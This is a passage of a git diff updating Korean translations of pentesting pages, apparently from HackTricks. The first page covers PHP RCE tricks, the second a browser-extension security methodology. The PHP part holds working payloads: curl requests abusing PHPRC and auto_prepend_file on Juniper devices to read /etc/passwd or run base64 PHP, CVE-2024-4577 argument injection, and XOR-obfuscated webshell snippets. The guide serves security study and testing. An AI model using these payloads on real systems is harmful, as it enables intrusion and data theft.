[**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(하지만 이 경우에는 작동하지 않을 수 있습니다). +- **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하세요. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드보다 먼저 PHP 런타임에 의해 실행됩니다. 1. 쉘코드를 포함하는 PHP 파일을 업로드합니다. 2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함하는 두 번째 파일을 업로드합니다. 3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다. -- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하십시오. +- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하세요. - **PHPRC** - 또 다른 옵션 -- 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다: +- 만약 **파일을 업로드할 수 없다면**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` -- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 가져온 것입니다. +- 기술 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서. ### XAMPP CGI RCE - CVE-2024-4577 -웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다: +The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -327,7 +326,7 @@ PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에 ### PHP 코드 디오브퓨스케이팅 -PHP 코드를 디오브퓨스케이트하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.** +PHP 코드를 디오브퓨스케이트하려면 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.** ## PHP 래퍼 및 프로토콜 @@ -351,7 +350,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE abusing new $\_GET\["a"]\($\_GET\["b") -페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있을지도 모릅니다. 방법을 배우려면 다음 페이지를 확인하세요: +페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있을 것입니다. 방법을 배우려면 다음 페이지를 확인하세요: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -372,9 +371,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3 $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` -### XOR 쉬운 쉘 코드 +### XOR 쉬운 셸 코드 -[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 쉘코드를 생성할 수 있습니다: +[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 셸 코드를 생성할 수 있습니다: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 345e5b0de..e27e24516 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -27,15 +27,15 @@ ### Boundaries > [!CAUTION] -> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 악의적인 입력을 확장 코어로 전달하고, 확장 코어에서 네이티브 바이너리로 전달하도록 설득해야 합니다. +> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 악의적인 입력을 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 전달하도록 설득해야 합니다. 확장의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다. -또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다. +게다가, 콘텐츠 스크립트는 **별도의 JavaScript 힙에서 실행**되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다. ## **`manifest.json`** -Chrome 확장은 단순히 [.crx 파일 확장자](https://www.lifewire.com/crx-file-2620391)를 가진 ZIP 폴더입니다. 확장의 코어는 폴더의 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다. +Chrome 확장은 단순히 [.crx 파일 확장자](https://www.lifewire.com/crx-file-2620391)를 가진 ZIP 폴더입니다. 확장의 핵심은 폴더의 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다. Example: ```json @@ -76,9 +76,9 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다* } ], ``` -더 많은 URL을 포함하거나 제외하기 위해 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다. +더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다. -이것은 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트로, [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색합니다. +다음은 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색할 때 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트입니다. ```js chrome.storage.local.get("message", (result) => { let div = document.createElement("div") @@ -91,10 +91,10 @@ document.body.appendChild(div) ```
-이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용하여 이루어집니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다. +이 버튼이 클릭되면 콘텐츠 스크립트에 의해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용하여 이루어집니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다. > [!WARNING] -> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처입니다.\ +> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우, 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처로 사용됩니다.\ > 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다. Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다. @@ -106,7 +106,7 @@ Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개 > [!TIP] > **콘텐츠 스크립트는 필수적이지 않습니다.** 웹 페이지에 **동적으로** **주입**하거나 **프로그래밍 방식으로 주입**할 수 있는 스크립트를 **`tabs.executeScript`**를 통해 주입할 수 있습니다. 이는 실제로 더 **세밀한 제어**를 제공합니다. -콘텐츠 스크립트를 프로그래밍 방식으로 주입하려면 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다. +콘텐츠 스크립트를 프로그래밍 방식으로 주입하기 위해서는 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다. #### 예시 activeTab 기반 확장 ```json:manifest.json @@ -169,7 +169,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" }) ``` 더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다. -### Content Scripts `run_at` +### 콘텐츠 스크립트 `run_at` `run_at` 필드는 **JavaScript 파일이 웹 페이지에 주입되는 시점**을 제어합니다. 선호되는 기본 값은 `"document_idle"`입니다. @@ -179,7 +179,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" }) - **`document_start`**: `css`의 파일이 로드된 후, 그러나 다른 DOM이 구성되거나 다른 스크립트가 실행되기 전에. - **`document_end`**: DOM이 완료된 직후, 그러나 이미지 및 프레임과 같은 하위 리소스가 로드되기 전에. -#### Via `manifest.json` +#### `manifest.json`을 통해 ```json { "name": "My extension", @@ -208,7 +208,7 @@ js: ["contentScript.js"], ``` ### `background` -내용 스크립트에서 전송된 메시지는 **background page**에 의해 수신되며, 이는 확장 구성 요소를 조정하는 중앙 역할을 합니다. 특히, background page는 확장의 수명 동안 지속되며, 사용자와의 직접적인 상호작용 없이 조용히 작동합니다. 자체 Document Object Model (DOM)을 가지고 있어 복잡한 상호작용 및 상태 관리를 가능하게 합니다. +내용 스크립트가 전송한 메시지는 **background page**에서 수신되며, 이는 확장 구성 요소를 조정하는 중앙 역할을 합니다. 특히, background page는 확장의 수명 동안 지속되며, 사용자와의 직접적인 상호작용 없이 조용히 작동합니다. 자체 Document Object Model (DOM)을 가지고 있어 복잡한 상호작용 및 상태 관리를 가능하게 합니다. **주요 사항**: @@ -239,7 +239,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) - **작업 페이지**는 **확장 아이콘**을 클릭할 때 드롭다운에 표시됩니다. - 확장이 **새 탭에서 로드할** 페이지. -- **옵션 페이지**: 이 페이지는 클릭할 때 확장 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 다음을 클릭하여 접근할 수 있었습니다: +- **옵션 페이지**: 이 페이지는 클릭 시 확장 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 다음을 클릭하여 접근할 수 있었습니다:
@@ -250,7 +250,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) ### `permissions` & `host_permissions` -**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 해당 권한이 적용되는지를 나타냅니다. +**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 이를 사용할 수 있는지를 나타냅니다. 브라우저 확장이 매우 **특권적**일 수 있으므로, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**. @@ -268,7 +268,7 @@ browext-permissions-and-host_permissions.md ```bash script-src 'self'; object-src 'self'; ``` -CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요: +CSP와 잠재적인 우회에 대한 자세한 내용은 다음을 확인하세요: {{#ref}} ../content-security-policy-csp-bypass/ @@ -276,7 +276,7 @@ CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요 ### `web_accessible_resources` -웹 페이지가 브라우저 확장의 페이지에 접근하기 위해서는, 예를 들어 `.html` 페이지, 이 페이지는 `manifest.json`의 **`web_accessible_resources`** 필드에 언급되어야 합니다.\ +웹페이지가 브라우저 확장의 페이지에 접근하기 위해서는, 예를 들어 `.html` 페이지, 이 페이지는 `manifest.json`의 **`web_accessible_resources`** 필드에 언급되어야 합니다.\ 예를 들어: ```javascript { @@ -298,7 +298,7 @@ CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요 ``` chrome-extension:///message.html ``` -공식 확장에서는 **extension-id에 접근할 수 있습니다**: +공개 확장 프로그램에서는 **extension-id에 접근할 수 있습니다**:
@@ -307,26 +307,26 @@ chrome-extension:///message.html > [!TIP] > 여기에서 페이지가 언급되더라도, **Content Security Policy** 덕분에 **ClickJacking**에 대해 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 (frame-ancestors 섹션) 이를 확인해야 합니다. -이 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**: +이러한 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**: {{#ref}} browext-clickjacking.md {{#endref}} > [!TIP] -> 이러한 페이지가 무작위 URL이 아닌 확장에 의해서만 로드되도록 허용하면 ClickJacking 공격을 방지할 수 있습니다. +> 이러한 페이지가 무작위 URL이 아닌 확장 프로그램에 의해서만 로드되도록 허용하면 ClickJacking 공격을 방지할 수 있습니다. > [!CAUTION] -> **`web_accessible_resources`**의 페이지와 확장의 다른 페이지도 **백그라운드 스크립트에 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다. +> **`web_accessible_resources`**의 페이지와 확장 프로그램의 다른 페이지도 **백그라운드 스크립트와 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다. > -> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다. +> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다. ### `externally_connectable` -[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 및 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장에 연결할 수 있는지를 선언합니다. +[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다. -- **`externally_connectable`** 키가 귀하의 확장 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장이 연결할 수 있지만 웹 페이지는 연결할 수 없습니다**. -- **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`와 같이, **오직 해당 애플리케이션만** 연결할 수 있습니다. +- **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만 웹 페이지는 연결할 수 없습니다**. +- **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **오직 해당 애플리케이션만** 연결할 수 있습니다. - **matches**가 지정된 경우, 해당 웹 앱은 연결할 수 있습니다: ```json "matches": [ @@ -335,7 +335,7 @@ browext-clickjacking.md ``` - 비어 있는 것으로 지정된 경우: **`"externally_connectable": {}`**, 어떤 앱이나 웹도 연결할 수 없습니다. -여기에서 **확장 프로그램과 URL**이 적을수록 **공격 표면**이 작아집니다. +여기에서 **확장 프로그램과 URL**이 적을수록, **공격 표면**이 더 작아집니다. > [!CAUTION] > 만약 **`externally_connectable`**에 **XSS 또는 탈취에 취약한** 웹 페이지가 표시되면, 공격자는 **배경 스크립트에 직접 메시지를 보낼 수** 있어, Content Script와 그 CSP를 완전히 우회할 수 있습니다. @@ -348,11 +348,11 @@ browext-clickjacking.md ### 확장 프로그램 <--> 웹앱 -내용 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 내용 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으며 (따라서 웹은 이를 예상해야 함), 단순히 웹이 새로운 스크립트를 로드하도록 만들 수도 있습니다. +콘텐츠 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 보통 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **포스트 메시지를 보내 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하도록 할 수도 있습니다. ### 확장 프로그램 내부 -일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며 (일반적으로 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다. +일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(보통 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다. 단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수도 있으며, 다음 예제와 같이 **메시지를 보내고** **받는** 데 사용할 수 있습니다: @@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ... ### 네이티브 메시징 -백그라운드 스크립트가 시스템 내의 바이너리와 통신할 수 있으며, 이 통신이 적절하게 보호되지 않으면 **RCE와 같은 치명적인 취약점에 노출될 수 있습니다**. [자세한 내용은 나중에](#native-messaging). +백그라운드 스크립트가 시스템 내의 바이너리와 통신할 수 있으며, 이 통신이 적절하게 보호되지 않으면 **RCE와 같은 치명적인 취약점에 노출될 수 있습니다**. [자세한 내용은 나중에](#native-messaging) 확인하세요. ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -454,7 +454,7 @@ false - **`event.isTrusted`**: 이 값은 이벤트가 사용자 행동에 의해 트리거된 경우에만 True입니다. - 콘텐츠 스크립트는 사용자가 어떤 행동을 수행할 때만 메시지를 기대할 수 있습니다. -- **origin domain**: 메시지를 기대할 수 있는 도메인의 화이트리스트만 허용할 수 있습니다. +- **origin domain**: 메시지를 기대할 수 있는 도메인의 허용 목록만 허용할 수 있습니다. - 정규 표현식을 사용하는 경우, 매우 주의해야 합니다. - **Source**: `received_message.source !== window`를 사용하여 메시지가 **콘텐츠 스크립트가 수신 대기 중인 동일한 창**에서 온 것인지 확인할 수 있습니다. @@ -476,7 +476,7 @@ browext-xss-example.md 이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**. -**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예**도 다음에서 찾을 수 있습니다: +**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시**는 다음에서 찾을 수 있습니다: {{#ref}} browext-xss-example.md @@ -525,7 +525,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) 중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서, **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다. -새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다. +새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 핸들러 중 어느 것도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다. ## Native Messaging @@ -556,14 +556,14 @@ console.log("Received " + response) } ) ``` -In [**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)에서는 네이티브 메시지를 악용하는 취약한 패턴이 제안됩니다: +[**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)에서는 네이티브 메시지를 악용하는 취약한 패턴이 제안됩니다: 1. 브라우저 확장 프로그램은 콘텐츠 스크립트에 대한 와일드카드 패턴을 가지고 있습니다. 2. 콘텐츠 스크립트는 `sendMessage`를 사용하여 백그라운드 스크립트에 `postMessage` 메시지를 전달합니다. 3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다. 4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다. -그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 방법에 대한 예제가 설명됩니다**. +그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예제가 설명됩니다**. ## 메모리/코드/클립보드의 민감한 정보 @@ -573,13 +573,13 @@ In [**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-executi 물론, **코드에 민감한 정보를 넣지 마십시오**, 이는 **공개**될 것입니다. -브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`**을 클릭한 후 **`Memory`** 섹션에서 **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다. +브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`** 클릭 -> **`Memory`** 섹션 -> **`Take a snapshot`** 클릭 후 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다. 게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다. ## 브라우저에 확장 프로그램 로드하기 -1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다. +1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다. 2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다. 3. **`Load unpacked`** 버튼을 클릭합니다. @@ -587,11 +587,11 @@ In [**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-executi ## 스토어에서 소스 코드 가져오기 -Chrome 확장의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다. +Chrome 확장 프로그램의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다. ### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드 -Chrome 확장의 소스 코드는 명령줄을 사용하여 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용하여 특정 URL에서 ZIP 파일을 가져오고, ZIP 파일의 내용을 디렉토리에 추출하는 과정을 포함합니다. 단계는 다음과 같습니다: +Chrome 확장 프로그램의 소스 코드는 명령줄을 사용하여 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용하여 특정 URL에서 ZIP 파일을 가져오고, ZIP 파일의 내용을 디렉토리에 추출하는 과정을 포함합니다. 단계는 다음과 같습니다: 1. `"extension_id"`를 확장의 실제 ID로 바꿉니다. 2. 다음 명령을 실행합니다: @@ -631,7 +631,7 @@ Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에 ## Chrome 확장 프로그램 매니페스트 데이터셋 -취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고, 잠재적으로 취약한 징후가 있는 매니페스트 파일을 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면: +취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고 그들의 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" @@ -643,12 +643,12 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - [ ] 요청된 **`permissions`**를 가능한 한 많이 **제한**합니다. - 